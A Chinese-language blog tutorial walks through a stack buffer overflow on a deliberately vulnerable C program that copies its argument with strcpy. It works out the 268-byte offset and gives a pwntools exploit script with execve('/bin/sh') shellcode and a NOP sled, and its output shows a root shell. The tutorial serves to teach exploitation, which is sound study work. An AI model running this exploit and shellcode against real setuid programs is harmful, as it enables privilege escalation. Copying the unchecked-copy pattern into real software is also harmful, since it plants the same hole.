pediy18-1

源代码:

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
        char buf[256];
        strcpy(buf,argv[1]);
        printf("Input:%s\n",buf);
        return 0;
}

编译如下

输入300个A进行测试

可以看到返回地址明显被淹没。

当函数执行到这里时观察到RBP的值,再观察A的起始地址,两者之差+4 即为淹没返回地址的距离。

0xE18-0xd10+4=268

改为输入

可以看到EIP为 "BBBB"

所以改为 "A"*268 +addr即可控制返回地址。

将Shellcode布置在堆栈上可以,然后控制返回地址返回到堆栈顶端,然后执行所布置的shellcode,执行任意功能。

但是现在一般会开启NX防护,即代码不可在堆栈上执行。

开始执行任意代码。

#exp.py 
#!/usr/bin/env python
from pwn import *
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xffffce00       
               
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion

buf = "A" * 268
buf += p32(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])

执行后成功获取SHELL

$ python exp.py 
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

猜你喜欢

转载自blog.csdn.net/qq_38025365/article/details/88523518